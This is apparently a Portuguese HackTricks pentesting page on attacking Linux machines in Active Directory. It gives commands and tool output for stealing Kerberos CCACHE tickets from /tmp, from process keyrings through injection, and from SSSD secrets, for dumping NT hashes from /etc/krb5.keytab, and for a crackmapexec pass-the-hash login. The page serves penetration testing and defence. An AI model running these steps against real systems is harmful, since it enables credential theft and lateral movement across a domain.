hacktricks/linux-hardening/privilege-escalation/linux-active-directory.md
2023-06-06 18:56:34 +00:00

9.7 KiB

Linux Active Directory

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Uma máquina Linux também pode estar presente em um ambiente Active Directory.

Uma máquina Linux em um AD pode estar armazenando diferentes tickets CCACHE dentro de arquivos. Esses tickets podem ser usados e abusados como qualquer outro ticket Kerberos. Para ler esses tickets, você precisará ser o proprietário do usuário do ticket ou root dentro da máquina.

Enumeração

Enumeração do AD a partir do Linux

Se você tem acesso a um AD no Linux (ou bash no Windows), pode tentar https://github.com/lefayjey/linWinPwn para enumerar o AD.

Você também pode verificar a seguinte página para aprender outras maneiras de enumerar o AD a partir do Linux:

{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}

FreeIPA

É uma alternativa de código aberto ao Microsoft Windows Active Directory, usada principalmente como solução de gerenciamento integrado para ambientes Unix. Saiba mais sobre isso em:

{% content-ref url="../freeipa-pentesting.md" %} freeipa-pentesting.md {% endcontent-ref %}

Brincando com tickets

Pass The Ticket

Nesta página, você vai encontrar diferentes lugares onde poderia encontrar tickets Kerberos dentro de um host Linux, na página a seguir, você pode aprender como transformar esses formatos de tickets CCache em Kirbi (o formato que você precisa usar no Windows) e também como realizar um ataque PTT:

{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %} pass-the-ticket.md {% endcontent-ref %}

Reutilização de tickets CCACHE de /tmp

Quando os tickets são definidos para serem armazenados como um arquivo em disco, o formato e tipo padrão é um arquivo CCACHE. Este é um formato de arquivo binário simples para armazenar credenciais Kerberos. Esses arquivos são normalmente armazenados em /tmp e com permissões 600.

Liste o ticket atual usado para autenticação com env | grep KRB5CCNAME. O formato é portátil e o ticket pode ser reutilizado definindo a variável de ambiente com export KRB5CCNAME=/tmp/ticket.ccache. O formato do nome do ticket Kerberos é krb5cc_%{uid}, onde uid é o UID do usuário.

ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

export KRB5CCNAME=/tmp/krb5cc_1569901115

Reutilização de bilhetes CCACHE a partir do keyring

Os processos podem armazenar bilhetes Kerberos em sua memória, esta ferramenta pode ser útil para extrair esses bilhetes (a proteção ptrace deve ser desativada na máquina /proc/sys/kernel/yama/ptrace_scope): https://github.com/TarlogicSecurity/tickey

# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets

Reutilização de bilhete CCACHE a partir do SSSD KCM

O SSSD mantém uma cópia do banco de dados no caminho /var/lib/sss/secrets/secrets.ldb. A chave correspondente é armazenada como um arquivo oculto no caminho /var/lib/sss/secrets/.secrets.mkey. Por padrão, a chave só pode ser lida se você tiver permissões de root.

Invocar o SSSDKCMExtractor com os parâmetros --database e --key irá analisar o banco de dados e descriptografar os segredos.

git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey

O blob Kerberos do cache de credenciais pode ser convertido em um arquivo CCache Kerberos utilizável que pode ser passado para o Mimikatz/Rubeus.

Reutilização de ticket CCACHE a partir de keytab

git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab

Extrair contas do arquivo /etc/krb5.keytab

As chaves de serviço usadas por serviços que são executados como root são geralmente armazenadas no arquivo de chave /etc/krb5.keytab. Essa chave de serviço é equivalente à senha do serviço e deve ser mantida segura.

Use o comando klist para ler o arquivo keytab e analisar seu conteúdo. A chave que você vê quando o tipo de chave é 23 é o NT Hash real do usuário.

klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
	 KVNO: 25
	 Key type: 23
	 Key: 31d6cfe0d16ae931b73c59d7e0c089c0
	 Time stamp: Oct 07,  2019 09:12:02
[...]

No Linux, você pode usar o KeyTabExtract: queremos o hash RC4 HMAC para reutilizar o hash NLTM.

python3 keytabextract.py krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky

No macOS você pode usar o bifrost.

./bifrost -action dump -source keytab -path test

Conecte-se à máquina usando a conta e o hash com o CME.

$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0  

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥